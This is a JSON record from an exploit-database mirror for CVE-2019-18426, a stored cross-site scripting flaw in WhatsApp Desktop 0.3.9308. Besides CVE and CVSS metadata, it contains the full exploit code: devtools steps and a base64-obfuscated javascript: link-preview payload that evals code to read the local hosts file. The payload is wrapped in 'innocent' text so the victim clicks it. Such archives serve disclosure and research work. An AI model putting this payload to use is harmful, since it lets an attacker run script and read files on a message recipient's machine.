{"exploit":{"id":"EDB-48295","name":"WhatsApp Desktop 0.3.9308 - Stored Cross-Site Scripting (XSS)","description":"WhatsApp Desktop 0.3.9308 - Stored Cross-Site Scripting (XSS)","cves":["CVE-2019-18426"],"author":"Gal Weizman","published":"2020-04-06","platform":"multiple","type":"webapps","language":"JavaScript","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48295","path":"exploits/multiple/webapps/48295.js","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48295.js","vulnerabilities":[{"id":"CVE-2019-18426","state":"PUBLISHED","title":null,"titleSource":null,"description":"A vulnerability in WhatsApp Desktop versions prior to 0.3.9309 when paired with WhatsApp for iPhone versions prior to 2.20.10 allows cross-site scripting and local file reading. Exploiting the vulnerability requires the victim to click a link preview from a specially crafted text message.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-18426","cvss":{"version":"3.1","baseScore":8.2,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-18426"},"updatedAt":"2025-10-21T23:35:53.174Z","retrievedAt":"2026-11-27T05:54:48.972Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48295.png?v=2","url":"https://exploitbin.com/exploits/EDB-48295","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48295/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48295/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting\n# Date: 2020-01-21\n# Exploit Author: Gal Weizman\n# Vendor Homepage: https://www.whatsapp.com\n# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe\n# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg\n# Version: 0.3.9308\n# Tested On: Mac OS, Windows, iPhone\n# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426\n\n// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)\n// step 2: open devtools and search in all files \"t=e.id\"\n// step 3: after prettifying, set a breakpoint at the line where \"t = e.id\" can be found\n// step 4: paste \"https://example.com\" in the text box and hit \"Enter\"\n// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit \"Enter\"\n\nvar payload = `(async function() {\n    alert(navigator.userAgent);\n    (async function() {\n\t    // read \"file:///C:/windows/system32/drivers/etc/hosts\" content\n\t    const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));\n        const t = await r.text();\n        alert(t);\n    }())\n}())`;\n\npayload = `javascript:\"https://example.com\";eval(atob(\"${btoa(payload)}\"))`;\n\ne.__x_matchedText = payload;\n\ne.__x_body = `\n    Innocent text\n\n    ${payload}\n\n    More Innocent text\n`;\n\n// step 6: press F8 in order for the execution to continue\n// result: a message should be sent to the victim that once is clicked will execute the payload above\n\n// further information: https://github.com/weizman/CVE-2019-18426","sha256":"58c5bbb94b6aebc8c52c0942d42442f492bf388c7118df1b22ef6bf0f1ff5b4e","bytes":1641,"fetchedAt":"2026-11-27T17:11:27.656Z","encoding":"utf-8 (display only; download retains original bytes)"}